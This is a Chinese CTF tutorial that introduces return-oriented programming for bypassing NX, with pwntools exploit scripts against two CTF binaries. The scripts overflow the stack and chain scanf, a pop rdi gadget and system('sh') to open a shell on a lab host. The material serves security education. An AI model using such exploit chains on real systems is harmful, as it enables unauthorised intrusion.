CTF必备技能丨Linux Pwn入门教程——ROP技术（上）

Linux Pwn入门教程系列分享如约而至，本套课程是作者依据i春秋Pwn入门课程中的技术分类，并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程。

教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法，如栈，堆，整数溢出，格式化字符串，条件竞争等进行介绍，所有环境都会封装在Docker镜像当中，并提供调试用的教学程序，来自历年赛事的原题和带有注释的python脚本。

课程回顾>>

Linux Pwn入门教程第一章：环境配置

Linux Pwn入门教程第二章：栈溢出基础

Linux Pwn入门教程第三章：ShellCode

教程中的题目和脚本若有使用不妥之处，欢迎各位大佬批评指正。

基于前面几期的内容分享，小伙伴在后台给出了很多好评，同时也提出了文章篇幅缩短的建议，经调整后第四章内容分为上下两篇，今天分享的是Linux Pwn入门教程：ROP技术（上），阅读用时约10分钟。

背景

在上一篇教程的《shellcode的变形》一节中，我们提到过内存页的RWX三种属性。显然，如果某一页内存没有可写(W)属性，我们就无法向里面写入代码，如果没有可执行(X)属性，写入到内存页中的ShellCode就无法执行。

关于这个特性的实验在此不做展开，大家可以尝试在调试时修改EIP和read( )/scanf( )/gets( )等函数的参数来观察操作无对应属性内存的结果。那么我们怎么看某个ELF文件中是否有RWX内存页呢？首先我们可以在静态分析和调试中使用IDA的快捷键Ctrl + S

或者同上一篇教程中的方法，使用Pwntools自带的checksec命令检查程序是否带有RWX段。当然，由于程序可能在运行中调用mprotect( ), mmap( )等函数动态修改或分配具有RWX属性的内存页，以上方法均可能存在误差。

既然攻击者们能想到在RWX段内存页中写入ShellCode并执行，防御者们也能想到，因此，一种名为NX位（No eXecute bit）的技术出现了。这是一种在CPU上实现的安全技术，这个位将内存页以数据和指令两种方式进行了分类。被标记为数据页的内存页（如栈和堆）上的数据无法被当成指令执行，即没有X属性。由于该保护方式的使用，之前直接向内存中写入ShellCode执行的方式显然失去了作用。因此，我们就需要学习一种著名的绕过技术——ROP（Return-Oriented Programming, 返回导向编程）

顾名思义，ROP就是使用返回指令ret连接代码的一种技术（同理还可以使用jmp系列指令和call指令，有时候也会对应地成为JOP/COP）。一个程序中必然会存在函数，而有函数就会有ret指令。我们知道，ret指令的本质是pop eip，即把当前栈顶的内容作为内存地址进行跳转。

而ROP就是利用栈溢出在栈上布置一系列内存地址，每个内存地址对应一个gadget，即以ret/jmp/call等指令结尾的一小段汇编指令，通过一个接一个的跳转执行某个功能。由于这些汇编指令本来就存在于指令区，肯定可以执行，而我们在栈上写入的只是内存地址，属于数据，所以这种方式可以有效绕过NX保护。

使用ROP调用got表中函数

首先我们来看一个x86下的简单ROP，我们将通过这里例子演示如何调用一个存在于got表中的函数并控制其参数。我们打开~/RedHat 2017-pwn1/pwn1。可以很明显看到main函数存在栈溢出：

变量v1的首地址在bp-28h处，即变量在栈上，而输入使用的__isoc99_scanf不限制长度，因此我们的过长输入将会造成栈溢出。

程序开启了NX保护，所以显然我们不可能用shellcode打开一个shell。根据之前文章的思路，我们很容易想到要调用system函数执行system(“/bin/sh”)。那么我们从哪里可以找到system和“/bin/sh”呢？

第一个问题，我们知道使用动态链接的程序导入库函数的话，我们可以在GOT表和PLT表中找到函数对应的项（稍后的文章中我们将详细解释）。跳转到.got.plt段，我们发现程序里居然导入了system函数。

解决了第一个问题之后我们就需要考虑第二个问题。通过对程序的搜索我们没有发现字符串“/bin/sh”，但是程序里有__isoc99_scanf，我们可以调用这个函数来读取“/bin/sh”字符串到进程内存中。下面我们来开始构建ROP链。

首先我们考虑一下“/bin/sh”字符串应该放哪。通过调试时按Ctrl+S快捷键查看程序的内存分段，我们看到0x0804a030开始有个可读可写的大于8字节的地址，且该地址不受ASLR影响，我们可以考虑把字符串读到这里。

接下来我们找到__isoc99_scanf的另一个参数“%s”，位于0x08048629

接着我们使用pwntools的功能获取到__isoc99_scanf在PLT表中的地址，PLT表中有一段stub代码，将EIP劫持到某个函数的PLT表项中我们可以直接调用该函数。我们知道，对于x86的应用程序来说，其参数从右往左入栈。因此，现在我们就可以构建出一个ROP链。

`from pwn import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf'])
format_s = p32(0x08048629)
binsh_addr = p32(0x0804a030)
shellcode1 = 'A'*0x34
shellcode1 += scanf_addr
shellcode1 += format_s
shellcode1 += binsh_addr
print io.read( )
io.sendline(shellcode1)
io.sendline(“/bin/sh”)

通过调试我们可以看到，当EIP指向retn时，栈上的数据和我们的预想一样，栈顶是plt表中__isoc99_scanf的首地址，紧接着是两个参数。我们继续跟进执行，在libc中执行一会儿之后，我们收到了一个错误，这是为什么呢？

我们回顾一下之前的内容。我们知道call指令会将call指令的下一条指令地址压入栈中，当被call调用的函数运行结束后，ret指令就会取出被call指令压入栈中的地址传输给EIP。

但是在这里我们绕过call直接调用了__isoc99_scanf，没有像call指令一样向栈压入一个地址。此时函数认为返回地址是紧接着scanf_addr的format_s，而第一个参数就变成了binsh_addr`

call调用函数的情况

08048557 mov [esp+4], eax
0804855B mov dword ptr [esp], offset unk_8048629
08048562 call ___isoc99_scanf
08048567 lea eax, [esp+18h]

08048580 leave
08048581 retn ; pop eip
F7E22610 __isoc99_scanf:
F7E22610 push ebp
F7E22611 mov ebp, esp

从两种调用方式的比较上我们可以看到，由于少了call指令的压栈操作，如果我们在布置栈的时候不模拟出一个压入栈中的地址，被调用函数的取到的参数就是错位的。所以我们需要改良一下ROP链。根据上面的描述，我们应该在参数和保存的EIP中间放置一个执行完的返回地址。鉴于我们调用scanf读取字符串后还要调用system函数，我们让__isoc99_scanf执行完后再次返回到main函数开头，以便于再执行一次栈溢出。改良后的ROP链如下：

from pwn import *
context.update(arch = 'i386', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
elf = ELF('./pwn1')
scanf_addr = p32(elf.symbols['__isoc99_scanf'])
format_s = p32(0x08048629)
binsh_addr = p32(0x0804a030)
shellcode1 = 'A'*0x34
shellcode1 += scanf_addr
shellcode1 += main_addr
shellcode1 += format_s
shellcode1 += binsh_addr
print io.read()
io.sendline(shellcode1)
io.sendline(“/bin/sh”)

我们再次进行调试，发现这回成功调用__isoc99_scanf把“/bin/sh”字符串读取到地址0x0804a030处：

此时程序再次从main函数开始执行。由于栈的状态发生了改变，我们需要重新计算溢出的字节数。然后再次利用ROP链调用system执行system(“/bin/sh”)，这个ROP链可以模仿上一个写出来，完整的脚本也可以在对应文件夹中找到，此处不再赘述。

接下来让我们来看看64位下如何使用ROP调用got表中的函数。我们打开文件~/bugs bunny ctf 2017-pwn150/pwn150，很容易就可以发现溢出出现在Hello( )里

和上一个例子一样，由于程序开启了NX保护，我们必须找到system函数和“/bin/sh”字符串。程序在main函数中调用了自己定义的一个叫today的函数，执行了system(“/bin/date”)，那么system函数就有了。至于“/bin/sh”字符串，虽然程序中没有，但是我们找到了“sh”字符串，利用这个字符串其实也可以开shell。

现在我们有了栈溢出点，有了system函数，有了字符串“sh”，可以尝试开shell了。首先我们要解决传参数的问题。和x86不同，在x64下通常参数从左到右依次放在rdi, rsi, rdx, rcx, r8, r9，多出来的参数才会入栈（根据调用约定的方式可能有不同，通常是这样），因此，我们就需要一个给RDI赋值的办法。由于我们可以控制栈，根据ROP的思想，我们需要找到的就是pop rdi; ret，前半段用于赋值rdi，后半段用于跳到其他代码片段。

有很多工具可以帮我们找到ROP gadget，例如Pwntools自带的ROP类，ROPgadget、rp++、ropeme等。在这里我使用的是ROPgadget（https://github.com/JonathanSalwan/ROPgadget）

通过ROPgadget --binary 指定二进制文件，使用grep在输出的所有gadgets中寻找需要的片段。

这里有一个小trick。首先，我们看一下IDA中这个地址的内容。

我们可以发现并没有0x400883这个地址，0x400882是pop r15, 接下来就是0x400884的retn，那么这个pop rdi会不会是因为ROPgadget出bug了呢？别急，我们选择0x400882，按快捷键D转换成数据。

然后选择0x400883按C转换成代码

我们可以看出来pop rdi实际上是pop r15的“一部分”。这也再次验证了汇编指令不过是一串可被解析为合法opcode的数据的别名。只要对应的数据所在内存可执行，能被转成合法的opcode，跳转过去都是不会有问题的。

现在我们已经准备好了所有东西，可以开始构建ROP链了。这回我们直接调用call system指令，省去了手动往栈上补返回地址的环节，脚本如下：

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)
call_system = 0x40075f #call system指令在内存中的位置
binsh = 0x4003ef #字符串"sh"在内存中的位置
pop_rdi = 0x400883 #pop rdi; retn
payload = ""
payload += "A"*88 #padding
payload += p64(pop_rdi)
payload += p64(binsh) #rdi指向字符串"sh"
payload += p64(call_system) #调用system执行system("sh")
io.sendline(payload)
io.interactive()

进行调试，发现开shell成功。

retn跳转到0x400883处的gadget：pop rdi; ret

pop rdi将“sh”字符串所在地址0x4003ef赋值给rdi

retn跳转到call system处。

以上是今天的内容，大家看懂了吗？后面我们将持续更新Linux Pwn入门教程的相关章节，希望大家及时关注。